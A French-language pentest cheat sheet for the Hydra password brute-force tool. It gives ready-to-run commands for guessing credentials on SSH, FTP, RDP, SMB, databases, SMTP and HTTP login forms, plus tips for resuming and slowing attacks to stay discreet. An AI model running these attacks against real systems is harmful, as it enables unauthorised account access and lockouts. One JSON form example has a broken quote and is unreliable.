---
title: Hydra
description: "Attaquer les services d'authentification en ligne : SSH, FTP, HTTP, RDP, SMB et plus."
category: cracking
kind: tool
tags: [bruteforce, passwords, ssh, http, spraying]
level: basic
updated: 2026-11-05
order: 2
aliases: ["thc-hydra", "password attack"]
---

## SSH / FTP / RDP

```bash
# SSH avec listes
hydra -L users.txt -P passwords.txt ssh://10.10.10.10 -t 4 -V

# Un utilisateur, plusieurs mots de passe
hydra -l admin -P passwords.txt ssh://10.10.10.10 -f

# FTP
hydra -L users.txt -P passwords.txt ftp://10.10.10.10

# RDP (module rdp, lent)
hydra -L users.txt -P passwords.txt rdp://10.10.10.10 -t 2 -V
```

| Option | Effet |
| --- | --- |
| `-l` / `-L` | Login unique / fichier |
| `-p` / `-P` | Mot de passe unique / fichier |
| `-t` | Tâches parallèles (défaut 16) |
| `-f` | Stop au premier succès |
| `-V` | Affiche chaque tentative |
| `-s` | Port custom |
| `-o` | Fichier de résultats |

## HTTP

```bash
# Basic auth
hydra -L users.txt -P passwords.txt target.test http-get /admin/

# Formulaire POST
hydra -L users.txt -P passwords.txt target.test http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials"

# Avec cookie et header
hydra -L users.txt -P passwords.txt target.test http-post-form \
  "/api/login:{\"user\":\"^USER^\",\"pass\":\"^PASS^}:F=401:H=Content-Type: application/json"
```

Syntaxe `http-post-form` : `chemin:corps:condition`.

- `F=` échec (texte présent quand le login échoue).
- `S=` succès (texte présent quand le login réussit).
- `H=` header additionnel.
- `C=` cookie.

> [!TIP]
> Trouve d'abord un vrai compte de test et capture la requête dans Burp. La moindre différence (CSRF token, cookie, JSON) fait échouer Hydra. Si un token CSRF est présent, utilise un script Python ou ffuf avec extraction dynamique.

## Autres services

```bash
# SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.10

# MySQL
hydra -L users.txt -P passwords.txt mysql://10.10.10.10

# PostgreSQL
hydra -L users.txt -P passwords.txt postgres://10.10.10.10

# SMTP (enum + auth)
hydra -L users.txt -P passwords.txt smtp://10.10.10.10
```

## Reprise et discrétion

```bash
# Sauvegarder la session
hydra -L users.txt -P passwords.txt ssh://10.10.10.10 -o hydra.log

# Reprendre
hydra -R

# Ralentir
hydra -L users.txt -P passwords.txt ssh://10.10.10.10 -t 1 -w 3
```

> [!TIP]
> Hydra teste une authentification en ligne. Pour casser des hashes déjà récupérés, passe à [John](/sheets/john/) ou [Hashcat](/sheets/hashcat/), et suis la méthode [Password attacks](/sheets/password-attacks/).

> [!WARNING]
> Une attaque en ligne verrouille les comptes et remplit les logs. Vérifie la policy de verrouillage (`net accounts`, `nxc --pass-pol`) avant de lancer. En audit, un spraying lent (1 mot de passe, plusieurs comptes) est souvent plus réaliste et moins destructeur qu'un bruteforce massif.
